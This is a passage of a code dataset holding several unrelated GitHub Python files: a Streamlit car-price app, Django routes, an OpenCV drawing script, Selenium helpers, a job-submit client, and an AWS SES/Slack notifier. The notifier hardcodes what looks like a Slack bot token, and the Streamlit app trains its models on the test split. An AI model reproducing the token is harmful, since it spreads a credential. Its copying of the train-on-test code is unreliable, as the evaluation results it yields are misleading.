    \", unsafe_allow_html=True)\n\n \n st.write(\"Upload an Excel or CSV file\")\n\n # Upload the Excel file using Streamlit file uploader\n uploaded_file = st.file_uploader(\"Upload your file:\", type=[\"xlsx\", \"xls\", \"csv\"])\n\n if uploaded_file is not None:\n file_extension = uploaded_file.name.split(\".\")[-1]\n\n if file_extension.lower() == \"csv\":\n # Read the CSV file using pandas\n car = pd.read_csv(uploaded_file)\n\n # Convert DataFrame to XLSX\n converted_file = io.BytesIO()\n car.to_excel(converted_file, index=False)\n converted_file.seek(0)\n\n # Read the Excel file into a pandas DataFrame\n else:\n converted_file = io.BytesIO(uploaded_file.read())\n car = pd.read_excel(converted_file)\n\n # Extract the CompanyName from CarName column\n Company_Name = car['CarName'].apply(lambda x: x.split(' ')[0])\n\n # Insert the CompanyName column\n car.insert(3, \"CompanyName\", Company_Name)\n\n # Drop the CarName column\n car.drop(['CarName'], axis=1, inplace=True)\n\n # Apply label encoding to categorical columns\n X = car.apply(lambda col: LabelEncoder().fit_transform(col))\n X = X.drop(['CompanyName', 'price'], axis=1)\n y = car['price']\n\n # Apply PCA\n pca = PCA(n_components=0.99)\n x_reduced = pca.fit_transform(X)\n\n # Split the data into training and testing sets\n X_train_r, X_test_r, y_train_r, y_test_r = train_test_split(x_reduced, y, test_size=0.2, random_state=42)\n\n # Dictionary to store evaluation results\n clean_evals = dict()\n reduced_evals = dict()\n\n def evaluate_regression(evals, model, name, X_train, X_test, y_train, y_test):\n train_error = mean_squared_error(y_train, model.predict(X_train), squared=False)\n test_error = mean_squared_error(y_test, model.predict(X_test), squared=False)\n r2_train = r2_score(y_train, model.predict(X_train))\n r2_test = r2_score(y_test, model.predict(X_test))\n evals[str(name)] = [train_error, test_error, r2_train, r2_test]\n print(\"Training Error \" + str(name) + \" {} Test error \".format(train_error) + str(name) + \" {}\".format(test_error))\n print(\"R2 score for \" + str(name) + \" training is {} \".format(r2_train * 100) + \" and for test is {}\".format(\n r2_test * 100))\n\n # Reduced Data Linear Regression\n reduced_lr = LinearRegression().fit(X_test_r, y_test_r)\n evaluate_regression(reduced_evals, reduced_lr, \"Linear Regression\", X_train_r, X_test_r, y_train_r, y_test_r)\n\n # Reduced Lasso Regression\n reduced_las = Lasso().fit(X_test_r, y_test_r)\n evaluate_regression(reduced_evals, reduced_las, \"Lasso Regression\", X_train_r, X_test_r, y_train_r, y_test_r)\n\n # Reduced Ridge Regression\n reduced_rlr = Ridge().fit(X_test_r, y_test_r)\n evaluate_regression(reduced_evals, reduced_rlr, \"Ridge Regression\", X_train_r, X_test_r, y_train_r, y_test_r)\n\n # Reduced Robust Regression\n huber_r = HuberRegressor().fit(X_test_r, y_test_r)\n evaluate_regression(reduced_evals, huber_r, \"Huber Regression\", X_train_r, X_test_r, y_train_r, y_test_r)\n\n # Reduced Decision Tree Regression\n dt_r = DecisionTreeRegressor(max_depth=5, min_samples_split=10).fit(X_test_r, y_test_r)\n evaluate_regression(reduced_evals, dt_r, \"Decision Tree Regression\", X_train_r, X_test_r, y_train_r, y_test_r)\n\n # Reduced Random Forest Regression\n ##rf_r = RandomForestRegressor(n_estimators=15).fit(X_test_r, y_test_r)\n rf_r = RandomForestRegressor(n_estimators=15, random_state=42).fit(X_test_r, y_test_r)\n evaluate_regression(reduced_evals, rf_r, \"Random Forest Regression\", X_train_r, X_test_r, y_train_r, y_test_r)\n\n # Create a DataFrame for evaluation results\n eval_df = pd.DataFrame.from_dict(reduced_evals, orient='index',\n columns=['Train Error', 'Test Error', 'R2 Score (Train)', 'R2 Score (Test)'])\n\n # Display the modified DataFrame\n st.write(\"#### Cleaned Data:\")\n st.write('**Data:** ' + str(car.shape[0]) + ' rows and ' + str(car.shape[1]) + ' columns.')\n st.dataframe(car)\n\n st.subheader(\"Regression Model Evaluation Results:\")\n if 'R2 Score (Test)' in eval_df.columns:\n # Set the desired height and width using CSS style\n eval_df_html = eval_df['R2 Score (Test)'].to_frame().to_html()\n eval_df_html = f'
    {eval_df_html}
    '\n st.markdown(eval_df_html, unsafe_allow_html=True)\n else:\n st.write(\"Evaluation results for some models are missing.\")\n\n \n # Display the modified DataFrame\n st.write(\"#### Visualising features:\")\n\n def display_option_data(selected_option):\n # Replace with your own logic to retrieve and display the data for the selected option\n if selected_option == 'Intercorrelation':\n # Use st.checkbox to display checkboxes in a single row\n col1, col2 = st.columns(2)\n Matrix = col1.checkbox(\"Correlation Matrix\")\n Heatmap = col2.checkbox(\"Heatmap\")\n\n \n # Display the correlation matrix\n if Matrix:\n numerical_cols = car.select_dtypes(include=[np.number]).columns\n correlation_matrix = car[numerical_cols].corr()\n st.write(\"##### Correlation Matrix :\")\n st.write('**Correlation Data:** ' + str(correlation_matrix.shape[0]) + ' rows and ' + str(correlation_matrix.shape[1]) + ' columns.')\n st.dataframe(correlation_matrix)\n \n # Displaying the Heatmap\n if Heatmap:\n numeric_columns = car.select_dtypes(include=[np.number])\n numeric_columns = numeric_columns.drop(columns=['car_ID', 'symboling'])\n corr = numeric_columns.corr()\n # Display the correlation matrix as an interactive heatmap\n st.write(\"##### Intercorrelation Matrix Heatmap:\")\n fig = go.Figure(data=go.Heatmap(z=corr.values,\n x=numeric_columns.columns,\n y=numeric_columns.columns))\n fig.update_layout(width=700, height=500) # Set the size of the heatmap\n st.plotly_chart(fig)\n\n \n if selected_option == 'Price Vs. Feature':\n exclude_columns = ['symboling', 'car_ID', 'price', 'CompanyName'] # Replace with the actual column names you want to exclude\n column_names = [col for col in car.columns.tolist() if col not in exclude_columns]\n\n # Create a Streamlit multiselect dropdown and populate it with the column names\n selected_columns = st.multiselect('Select columns', column_names)\n # Filter the DataFrame based on the selected data types\n selected_data = car[['price'] + selected_columns]\n st.write('Selected Data: ' + str(selected_data.shape[0]) + ' rows and ' + str(selected_data.shape[1]) + ' columns.')\n if selected_columns:\n num_charts = len(selected_columns)\n num_cols = 4 # Number of columns in each row\n num_rows = (num_charts + num_cols - 1) // num_cols\n\n # Create layout for displaying charts in multiple columns\n chart_layout = st.columns(num_cols)\n chart_idx = 0\n \n for column in selected_columns:\n # Create a bar chart for each selected column against the \"price\" column\n with chart_layout[chart_idx % num_cols]:\n avg_price_by_feature = car.groupby(column)[\"price\"].mean().reset_index()\n fig = go.Figure(data=[go.Bar(x=avg_price_by_feature[column], y=avg_price_by_feature[\"price\"])])\n fig.update_layout(\n title=f\"Average Price vs {column}\",\n xaxis_title=column,\n yaxis_title=\"Average Price\",\n width=400, # Set the width of the plot (adjust as needed)\n height=300, # Set the height of the plot (adjust as needed)\n )\n st.plotly_chart(fig, use_container_width=True) # Use container width\n\n chart_idx += 1\n else:\n st.write(\"Please select at least one column to know the price of selected feature(s).\")\n \n \n \n elif selected_option == 'Other Features':\n # Create a dropdown to select the features for the pie chart\n feature_options = [col for col in car.columns if col not in ['price', 'car_ID', 'symboling', 'CompanyName']]\n selected_columns = st.selectbox(\"Select Feature column(s):\", feature_options)\n \n if selected_columns:\n col1, col2, col3 = st.columns(3)\n histogram = col1.checkbox(\"Histogram\")\n pie = col2.checkbox(\"Pie chart\")\n bar = col3.checkbox(\"Bar graph\")\n \n if histogram:\n # Histogram\n \n # Convert the Matplotlib histogram to a Plotly histogram\n fig = go.Figure(data=[go.Histogram(x=car[selected_columns], nbinsx=10)])\n fig.update_layout(title_text=f\"Histogram of {selected_columns}\", xaxis_title=selected_columns, yaxis_title=\"Frequency\")\n col1.plotly_chart(fig, use_container_width=True)\n st.set_option('deprecation.showPyplotGlobalUse', False)\n\n\n \n if pie:\n # Generate the pie chart for the selected feature\n # Generate the pie chart for the selected feature\n feature_counts = car[selected_columns].value_counts()\n fig = go.Figure(data=[go.Pie(labels=feature_counts.index, values=feature_counts)])\n fig.update_traces(textposition='inside', textinfo='percent+label')\n fig.update_layout(title=f\"Distribution of {selected_columns}\")\n col2.plotly_chart(fig, use_container_width=True)\n \n if bar:\n plt.figure(figsize=(8, 6))\n # Convert index values to strings\n feature_counts = car[selected_columns].value_counts()\n fig = go.Figure(data=[go.Bar(x=feature_counts.index, y=feature_counts)])\n fig.update_layout(title=f\"Bar Graph of {selected_columns}\", xaxis_title=selected_columns, yaxis_title='Frequency')\n col3.plotly_chart(fig, use_container_width=True)\n\n\n \n\n # Create the expander with a maximum width of 800 pixels\n with st.expander(\"Visualisation\"):\n # Create the radio buttons\n selected_option = st.radio(\"Select an option\", ('Intercorrelation', 'Price Vs. Feature', 'Other Features'), index=1, horizontal=True)\n display_option_data(selected_option)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"krutikadhumal/Car-Sales-Analytics_Kuruma-Auto","sub_path":"StreamlitKurumaAuto.py","file_name":"StreamlitKurumaAuto.py","file_ext":"py","file_size_in_byte":13905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16542016006","text":"class Solution(object):\n def selfDividingNumbers(self, left, right):\n \"\"\"\n :type left: int\n :type right: int\n :rtype: List[int]\n \"\"\"\n\n def is_self_dividing(number):\n temp = number\n while temp > 0:\n digit = temp % 10\n # If digit is 0 or number is not divisible by digit, return False\n if digit == 0 or number % digit != 0:\n return False\n temp //= 10\n return True\n\n # Generate the list of self-dividing numbers\n return [num for num in range(left, right+1) if is_self_dividing(num)]\n\nsol = Solution()\nprint(sol.selfDividingNumbers(1, 22)) \nprint(sol.selfDividingNumbers(47, 85)) \n","repo_name":"Ashebir07/A2SV_Solved-problem","sub_path":"self-dividing-numbers.py","file_name":"self-dividing-numbers.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1923813502","text":"from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom django.contrib.auth import views as auth_views\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.generic.base import RedirectView, TemplateView\n\nfrom .settings import MEDIA_ROOT, DEBUG\n\nfrom students.views.students import StudentUpdateView, StudentDeleteView\nfrom students.views.groups import GroupDeleteView, groups_add,groups_edit, groups_list\nfrom students.views.journal import JournalView\n\n\njs_info_dict = {\n 'packages':('students',),\n}\n\nurlpatterns = patterns('',\n url(r'^i18n/', include('django.conf.urls.i18n')),\n url(r'^jsi18n\\.js$', 'django.views.i18n.javascript_catalog', js_info_dict),\n # Students urls\n url(r'^$', 'students.views.students.students_list', name='home'),\n url(r'^students/add/$', 'students.views.students.students_add', name='students_add'),\n url(r'^students/(?P\\d+)/edit/$', StudentUpdateView.as_view(), name='students_edit'),\n url(r'^students/(?P\\d+)/delete/$', StudentDeleteView.as_view(), name='students_delete'),\n\n # Groups urls\n url(r'^groups/$', login_required(groups_list), name='groups'),\n url(r'^groups/add/$', login_required(groups_add), name='groups_add'),\n url(r'^groups/(?P\\d+)/edit/$', 'students.views.groups.groups_edit', name='groups_edit'),\n url(r'^groups/(?P\\d+)/delete/$', GroupDeleteView.as_view(), name='groups_delete'),\n\n # Journal urls\n url(r'^journal/$', JournalView.as_view(), name='journal'),\n url(r'^journal/(?P\\d+)?/?$', JournalView.as_view(), name='journal'),\n url(r'^admin/', include(admin.site.urls)),\n\n # Exam urls\n url(r'^exams/$', 'students.views.exams.exam_list', name='exams'),\n url(r'^exams/add/$', 'students.views.exams.exam_add', name='exam_add'),\n url(r'^exams/(?P\\d+)/edit/$', 'students.views.exams.exam_edit', name='exam_edit'),\n url(r'^exams/(?P\\d+)/delete/$','students.views.exams.exam_delete', name='exam_delete'),\n url(r'^exams/(?P\\d+)/result/$', 'students.views.exams.exam_result', name='exam_result'),\n\n #Contact Admin Form\n url(r'^contact-admin/$', 'students.views.contact_admin.contact_admin', name='contact_admin'),\n\n #User Related urls\n url(r'^users/profile/$', login_required(TemplateView.as_view(template_name='registration/profile.html')), name='profile'),\n url(r'^users/logout/$', auth_views.logout, kwargs={'next_page': 'home'},\n name='auth_logout'),\n url(r'^register/complete/$', RedirectView.as_view(pattern_name='home'),\n name='registration_complete'),\n url(r'^users/', include('registration.backends.simple.urls',\n namespace='users')),\n\n #Social Auth Related urls\n url('^social/', include('social.apps.django_app.urls', namespace='social')),\n\n)\nif DEBUG:\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"tantuno/students","sub_path":"studentsdb/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19160410989","text":"import cv2\nimport mediapipe as mp\n# import time\n\ncap = cv2.VideoCapture(0)\ncap.set(3, 640)\ncap.set(4, 480)\n\n\nmpDraw = mp.solutions.drawing_utils\n\npTime = 0\ncTime = 0\n\npoints = []\n\npencil_img = cv2.imread(\"images/pencil.png\")\npencil_img = cv2.resize(pencil_img, (100, 100))\nundo_img = cv2.imread(\"images/undo.png\")\nundo_img = cv2.resize(undo_img, (100, 100))\ncancel_img = cv2.imread(\"images/cancel.png\")\ncancel_img = cv2.resize(cancel_img, (100, 100))\n\nx_offset = 500\ny_offset = 10\npencil = False\nundo = False\n\nwith mp.solutions.hands.Hands(\n static_image_mode=False,\n max_num_hands=1,\n min_detection_confidence=0.8,\n min_tracking_confidence=0.8,\n ) as hand_mesh:\n while cap.isOpened():\n success, image = cap.read()\n\n image.flags.writeable = False\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n image = cv2.flip(image, 1)\n results = hand_mesh.process(image)\n # Draw the face mesh annotations on the image.\n image.flags.writeable = True\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n\n image = cv2.rectangle(image, (30, 30), (420, 420), (0, 255, 0), 3)\n image[50 : 50 + 100, x_offset : x_offset + 100] = pencil_img\n image[170 : 170 + 100, x_offset : x_offset + 100] = undo_img\n image[290 : 290 + 100, x_offset : x_offset + 100] = cancel_img\n cv2.putText(image, \"By: alizahidraja\", (250, 470), cv2.FONT_HERSHEY_PLAIN, 2, (0, 255, 0), 2)\n\n # Show Selected\n if pencil:\n image = cv2.rectangle(image, (500, 50), (600, 150), (0, 255, 0), 3)\n if undo:\n image = cv2.rectangle(image, (500, 170), (600, 270), (0, 255, 0), 3)\n \n # Draw dots\n for i in points:\n cv2.circle(image, i, 5, (0, 255, 0), cv2.FILLED)\n\n if results.multi_hand_landmarks:\n for handLms in results.multi_hand_landmarks:\n for id, lm in enumerate(handLms.landmark):\n # print(id,lm)\n h, w, c = image.shape\n cx, cy = int(lm.x * w), int(lm.y * h)\n\n if id == 4:\n tipx = cx\n tipy = cy\n\n if id == 8:\n factor = 30\n if (\n tipx >= cx - factor\n and tipx <= cx + factor\n and tipy >= cy - factor\n and tipy <= cy + factor\n ):\n a = int((tipx + cx) / 2)\n b = int((tipy + cy) / 2)\n # make dots\n if pencil and a >= 30 and a <= 420 and b >= 30 and b <= 420:\n points.append((a, b))\n\n # pencil\n elif a >= 500 and a <= 600 and b >= 50 and b <= 150:\n pencil = True\n undo = False\n\n # undo\n elif a >= 500 and a <= 600 and b >= 170 and b <= 270:\n pencil = False\n undo = True\n if len(points) > 0:\n points.pop()\n\n # cancel\n elif a >= 500 and a <= 600 and b >= 290 and b <= 390:\n pencil = False\n undo = False\n points = []\n #if id ==0:\n # cv2.circle(image, (cx, cy), 3, (255, 0, 255), cv2.FILLED)\n\n #mpDraw.draw_landmarks(image, handLms, mp.solutions.hands.HAND_CONNECTIONS)\n \n\n \"\"\"\n # FPS Counter\n cTime = time.time()\n fps = 1 / (cTime - pTime)\n pTime = cTime\n\n cv2.putText(\n img, str(int(fps)), (10, 70), cv2.FONT_HERSHEY_PLAIN, 3, (255, 0, 255), 3\n )\n \"\"\"\n cv2.imshow(\"Hand Paint\", image)\n cv2.waitKey(1)\n","repo_name":"alizahidraja/hand-paint","sub_path":"stand_alone_code.py","file_name":"stand_alone_code.py","file_ext":"py","file_size_in_byte":4075,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"38317251207","text":"import boto3\nfrom botocore.exceptions import ClientError\nimport random\nimport json\nimport requests\n\nfrom web import settings\n\n\ndef send_email(to_email, lesson_name, lesson_id):\n SENDER = \"DreamPotential \"\n RECIPIENT = to_email\n AWS_REGION = \"us-east-2\"\n CHARSET = \"UTF-8\"\n SUBJECT = \"Lesson Completed\"\n \n BODY_HTML = \"\"\"\n \n \n \n

    Lesson Completed

    \n

    Below lesson has been completed:

    \n

    Lesson Name: {lesson_name}

    \n

    Lesson Id: {lesson_id}

    \n

    One new response has been recieved for the lesson.

    \n

    Thanks!

    \n

    DreamPotential Team

    \n \n \n \"\"\" \n client = boto3.client('ses', aws_access_key_id=getattr(settings,'EMAIL_AWS_ACCESS_KEY_ID', None),\n aws_secret_access_key=getattr(settings, 'EMAIL_AWS_SECRET_ACCESS_KEY', None), region_name=AWS_REGION)\n\n try:\n response = client.send_email(\n Destination={\n 'ToAddresses': [\n *RECIPIENT,\n ],\n },\n Message={\n 'Body': {\n 'Html': {\n 'Charset': CHARSET,\n 'Data': BODY_HTML.format(lesson_name=lesson_name, lesson_id=lesson_id),\n },\n },\n 'Subject': {\n 'Charset': CHARSET,\n 'Data': SUBJECT,\n },\n },\n Source=SENDER,\n )\n\n except ClientError as e:\n print(e, e.response['Error']['Message'])\n else:\n print(\"Email sent! Message ID:\"),\n print(response['MessageId'])\n\n\ndef send_slack_notification(channel, lesson_id, lesson_name):\n \n message = \"Lesson Completed\\n Below lesson has been completed:\\n Lesson Id: {lessonId} \\n Lesson Name: {lessonName}\".format(lessonId=lesson_id, lessonName=lesson_name)\n\n body = {\"text\": \"%s\" % message,\n 'username': 'Lesson-Agent',\n 'channel': 'C03J2UB8S8Z'}\n headers = {'Authorization': 'Bearer xoxb-790630255906-1844871421842-FFFWwP6KQT2eIsjTBHA8fsUR', 'Content-type': 'application/json'}\n resp = requests.post(\"https://slack.com/api/chat.postMessage\", headers=headers, data=json.dumps(body))\n print(resp.text)\n","repo_name":"aaronorosen2/python-base","sub_path":"codes/lesson_notifications/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":2414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25579646598","text":"import time\nimport logging\nimport re\n\nfrom utils import try_times, try_interval, log_trace\n\nOPTION_CONTAINER = \"//div[contains(@class, 'dojoPopupContainer') and not(contains(@style, 'display: none'))]\"\n\nLocators = {\n # dojoComboBox is identified by the span tag as below\n # span[contains(@class, 'dojoComboBoxOuter')]\n 'DojoComboBox': {\n 'Arrow' : \"/img[contains(@dojoattachevent, 'handleArrowClick')]\",\n 'OptionContainer': OPTION_CONTAINER,\n 'NextPageSign' : OPTION_CONTAINER + \"/div[contains(@class,'dojoComboBoxItem')][contains(@resultname,'previous')]\", # template\n 'OptionTmpl' : OPTION_CONTAINER + \"/div[contains(@class,'dojoComboBoxItem')][%s][not(contains(@resultname,'previous'))]\", # template\n 'Textbox' : \"/input[contains(@class,'dojoComboBox body')]\"\n },\n\n # usually this component is defined by
    tag\n # but sometime, there is no boundary, it can be placed right inside tag\n 'DojoNavigator': {\n 'DojoComboBox' : \"//span[contains(@class, 'dojoComboBoxOuter')]\",\n 'PrevBtnEnabled': \"//img[contains(@src, '/intune/images/imgArrow_left.gif') and contains(@id, 'Enabled')]\",\n 'NextBtnEnabled': \"//img[contains(@src, '/intune/images/img_Arrow_right.gif') and contains(@id, 'Enabled')]\",\n\n # x-path of next/back button changed in 9.0.0.0.105.\n # Currently cannot use FeatureUpdater here.\n # So this is just a work around do make back compatible.\n 'next_btn_enabled':\"//img[contains(@src, 'next.gif')]\", #new\n 'back_btn_enabled':\"//img[contains(@src, 'prev.gif')]\", #new\n }\n}\n\n\ndef get_cb_selected_option(obj, locator):\n '''\n Returning the currently selected option of a combobox\n NOTE: No need for check the locator, it is done on s.get_value()\n '''\n s, l = obj, Locators\n return s.get_value(locator + l['DojoComboBox']['Textbox'])\n\n\ndef get_cb_options(obj, locator, close_menu = True):\n '''\n - locator: locating the dojoComboBoxOuter, usually it is an 'span' tag\n Output:\n - a dictionary of options which has a list of [index and value]\n '''\n return dict([(k, v) for k, v in iter_cb_options(obj, locator, close_menu)])\n\n\ndef _open_and_wait_for_cb_option_list_stable(obj, locator):\n '''\n This function is to list arrow image and wait for elements of the dojo combobox displayed statbly\n '''\n s, l = obj, Locators\n CbArrow = locator + l['DojoComboBox']['Arrow']\n CbLastItem = l['DojoComboBox']['OptionTmpl'] % 'last()'\n\n # wait until the dropdown menu is displayed and stable enough\n # try re-opening the it a couple of times\n for t in try_times(5, .3):\n try:\n # open the selected menu\n # first time, wait a bit for data to populate\n s.mouse_up(CbArrow)\n time.sleep(1)\n s.check_element_present(CbLastItem, .1)\n\n time.sleep(1)\n s.check_element_present(CbLastItem, .1)\n return\n except:\n #log_trace()\n pass\n raise Exception('Could not open the list of combobox \"%s\"' % locator)\n\n\ndef _close_cb(obj, locator):\n '''\n This function is to wait for the combo box closed\n '''\n s, l = obj, Locators\n CbArrow = locator + l['DojoComboBox']['Arrow']\n CbOptionContainer = l['DojoComboBox']['OptionContainer']\n\n if not s.is_element_present(CbOptionContainer, .3):\n return\n\n for t in try_times(5, 0):\n s.mouse_up(CbArrow)\n for t2 in try_interval(12, 0):\n if s.is_element_present(CbOptionContainer, .3):\n time.sleep(.3)\n else:\n return\n logging.info('Trying to close element %s %d times' % (CbArrow, t))\n raise Exception('Time out while waiting for Combo Box to be closed')\n\n\ndef _open_cb_option_list(obj, locator):\n \"\"\"\n Open the Combo box Option list for getting the list details\n \"\"\"\n s, l = obj, Locators\n CbArrow = locator + l['DojoComboBox']['Arrow']\n CbOptionContainer = l['DojoComboBox']['OptionContainer']\n NextPage = l['DojoComboBox']['NextPageSign']\n\n s.check_element_present(locator)\n s.check_element_present(CbArrow)\n\n # make sure there is no menu left opening\n # if it is there, try to close it before opening the selected one\n _close_cb(obj, locator)\n _open_and_wait_for_cb_option_list_stable(obj, locator)\n\n if s.is_element_present(NextPage, 2):\n s.click_and_wait(NextPage, 3)\n # if found the dojo option has more than two page, need to re-open it again\n _open_and_wait_for_cb_option_list_stable(obj, locator)\n\n\ndef iter_cb_options(obj, locator, close_menu = True):\n \"\"\"\n - locator: locating the dojoComboBoxOuter, usually it is an 'span' tag\n Output:\n - a dictionary of options which has a list of [index and value]\n \"\"\"\n s, l = obj, Locators\n CbArrow = locator + l['DojoComboBox']['Arrow']\n CbOptionContainer = l['DojoComboBox']['OptionContainer']\n CbOptionTmpl = l['DojoComboBox']['OptionTmpl']\n\n _open_cb_option_list(obj, locator)\n\n # get all the options and return as a tuple: option name,\n # and a list [option index, option value]\n i = 1\n while True:\n CbOption = CbOptionTmpl % i\n\n # now read the content of each row\n if s.is_element_present(CbOption, 0.2): # optimized for bound checking\n k = s.get_attribute(CbOption + '@resultname')\n v = s.get_attribute(CbOption + '@resultvalue') # actually, not interested in now\n\n yield k, v # return the current option\n else:\n break\n i += 1\n\n if close_menu:\n s.mouse_up(CbArrow) # close the content div\n time.sleep(.4)\n\n\ndef select_cb_option(obj, locator, option, exact = True):\n \"\"\"\n Select a combo box option based on option exact text or regular expression.\n\n NOTE:\n If there are multiple matches then the first encounter option is selected.\n So make sure your 're' have one match only.\n\n Input:\n - locator: locating the dojoComboBoxOuter, usually it is an 'span' tag\n - option : an regular expression defining the option or an exact string\n - exact : for the case there is '1' and '12' and we want to select '1'\n\n Output:\n - Boolean: True if it is successful, otherwise False\n \"\"\"\n s, l = obj, Locators\n CbArrow = l['DojoComboBox']['Arrow']\n CbOptionTmpl = l['DojoComboBox']['OptionTmpl']\n\n if exact:\n # find the option in the options by constructing an absolute xpath\n _open_cb_option_list(obj, locator)\n CbOption = CbOptionTmpl % (\"@resultname='%s'\" % option)\n if s.is_element_present(CbOption):\n s.safe_click(CbOption)\n time.sleep(.3)\n return True\n else:\n index = -1\n # find the option in the options\n for k, v in iter_cb_options(obj, locator, False):\n if re.compile(option).search(k) != None:\n index = v[0]\n\n # if it's found, then click\n # the menu is close automatically\n if index != -1:\n CbOption = CbOptionTmpl % index\n\n s.safe_click(CbOption)\n time.sleep(.3)\n return True\n\n # close the menu\n _CbArrow = locator + CbArrow\n s.mouse_up(_CbArrow)\n time.sleep(.4)\n raise Exception('Not found option %s' % option)\n\n\ndef get_nav_selected_page(obj, locator):\n \"\"\"\n deal with Page Navigator controls\n these functions are relied on the combobox inside it\n\n Returning the selected page of page navigator control\n \"\"\"\n l = Locators\n return int(\n get_cb_selected_option(obj, locator + l['DojoNavigator']['DojoComboBox']).strip()\n )\n\n\ndef get_nav_total_pages(obj, locator):\n \"\"\"\n Get the total pages of a page navigator\n \"\"\"\n s, l = obj, Locators\n\n PrevBtnEnabled = locator + l['DojoNavigator']['PrevBtnEnabled']\n NextBtnEnabled = locator + l['DojoNavigator']['NextBtnEnabled']\n ComboBox = locator + l['DojoNavigator']['DojoComboBox']\n CbArrow = ComboBox + l['DojoComboBox']['Arrow']\n CbOptionContainer = l['DojoComboBox']['OptionContainer']\n CbOptionTmpl = l['DojoComboBox']['OptionTmpl']\n\n # is there only one page in this navigator?\n # detect this by checking the prev/next buttons: are they disabled?\n attr = '@class'\n attr_value = 'not-implemented'.strip().upper()\n\n try:\n if s.get_attribute(PrevBtnEnabled + attr, .2).strip().upper() == attr_value and \\\n s.get_attribute(NextBtnEnabled + attr, .2).strip().upper() == attr_value:\n return 1\n except:\n # in the case, it is enabled then the '@class' is not defined\n # obviously, there will be an exception\n pass\n\n # there are more than 1 page in the navigator\n # open the dropdown list and get the last item\n _open_cb_option_list(obj, ComboBox)\n\n # get the last option and return as a dictionary with option name as key\n # and a list [option index, option value] as value\n CbOption = CbOptionTmpl % 'last()' # the last item\n s.check_element_present(CbOption)\n\n # NOTE:\n # get the last option twice to make sure\n # it is the real last option\n for t in try_times(5, 0):\n total_1st = s.get_attribute(CbOption + '@resultname')\n time.sleep(.2)\n total_2nd = s.get_attribute(CbOption + '@resultname')\n\n if total_1st == total_2nd:\n s.mouse_up(CbArrow)\n time.sleep(.4)\n return int(total_1st)\n raise Exception('The dropdown list takes too long to populate (\"%s\")' % locator)\n\n\ndef go_to_nav_page(obj, locator, page):\n \"\"\"\n deal with Page Navigator controls\n these functions are relied on the combobox inside it\n\n Going to a definite page of the page navigator.\n No bound checking is implemented here\n \"\"\"\n l = Locators\n # TODO: don't go if you are in the selected page now\n return select_cb_option(obj, locator + l['DojoNavigator']['DojoComboBox'],\n str(page), exact = True)\n\n\ndef iter_nav_pages(se, locator):\n '''\n . iterate through each page on the page navigator\n '''\n next_btn_enable = locator + Locators['DojoNavigator']['next_btn_enabled']\n\n # assuming we are standing on the first page\n p = 1\n yield p\n\n while se.is_element_displayed(next_btn_enable, 5):\n p += 1\n se.safe_click(next_btn_enable, 1.5)\n yield p\n\n\ndef iter_nav_pages_reversed(se, locator):\n \"\"\"\n iterate from the last page to the first page\n \"\"\"\n l = Locators\n back_btn_enable = locator + l['DojoNavigator']['back_btn_enabled']\n\n # go to the last page to get total page first.\n for p in iter_nav_pages(se, locator):\n pass\n\n # assuming we are standing on the last page\n yield p\n\n while se.is_element_displayed(back_btn_enable, 5):\n p -=1\n se.safe_click(back_btn_enable, 1.5)\n yield p\n\n\n","repo_name":"jichunwei/MyGitHub-1","sub_path":"saigon/rat/RuckusAutoTest/common/se_dojo_ui.py","file_name":"se_dojo_ui.py","file_ext":"py","file_size_in_byte":10944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74396334826","text":"# Script for submitting jobs\n# Syntax:\n# jsub -q -l ncpus=1:mem=1000mb -- /bin/sleep 1000\nimport argparse\nfrom http import client\nfrom pydoc import cli\nimport sys\nimport os\nimport socket\nfrom time import sleep\n\n# Custom Imports\nimport modules.load_config as lc\nimport modules.global_var as gv\n\nemply_namespace = \"Namespace(queue=None, resources=None)\"\njob_submit_cmd = \"\"\n\n# Socket Info\nSERVER=lc.read_config(\"SJS_SERVER\")\nPORT= gv.PORT\nADDRESS=(SERVER,PORT)\n\nclass SubmitCommand:\n def __init__(self,command_name=None,queue=None,resource=None,job_name=None,user=None):\n self.command_name = \"jsub\"\n self.queue = queue\n self.resource = resource\n self.job_name = job_name\n self.user = user\n\n def __str__(self):\n return f\"command_name:{self.command_name}, queue:{self.queue}, resource:{self.resource}, job_name:{self.job_name},user:{self.user}\"\n\ndef send_request(submit_arg):\n client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n client.connect(ADDRESS)\n message = f\"{submit_arg.__str__()}\\n\"\n client.send(message.encode())\n data = client.recv(1024).decode()\n print(data.replace(\"\\n\",\"\"))\n\n client.close()\n\n\ndef main():\n\n submit_object = SubmitCommand()\n parser = argparse.ArgumentParser(description='Program to submit jobs to Simple Job Scheduler')\n parser.add_argument(\"--queue\",\"-q\",help=\"name you the job where jobs will be submited\")\n parser.add_argument(\"--resources\",\"-l\",help=\"Add SJS resources (ncpus,mem)\")\n namespace, extra = parser.parse_known_args()\n\n job_command = \" \".join(extra)\n\n if len(job_command) == 0:\n print(\"Job script will be read from standard input. Submit with CTRL+D.\")\n std_input = sys.stdin.read()\n print(std_input)\n\n if str(namespace) != emply_namespace:\n if namespace.queue != None:\n submit_object.queue = namespace.queue\n if namespace.resources != None:\n submit_object.resource = namespace.resources\n\n if len(job_command) > 0:\n submit_object.job_name = job_command\n\n if str(namespace) == emply_namespace and len(job_command) == 0:\n parser.print_help()\n\n submit_object.user = os.getlogin()\n send_request(submit_object)\n\n\nif __name__ == \"__main__\":\n 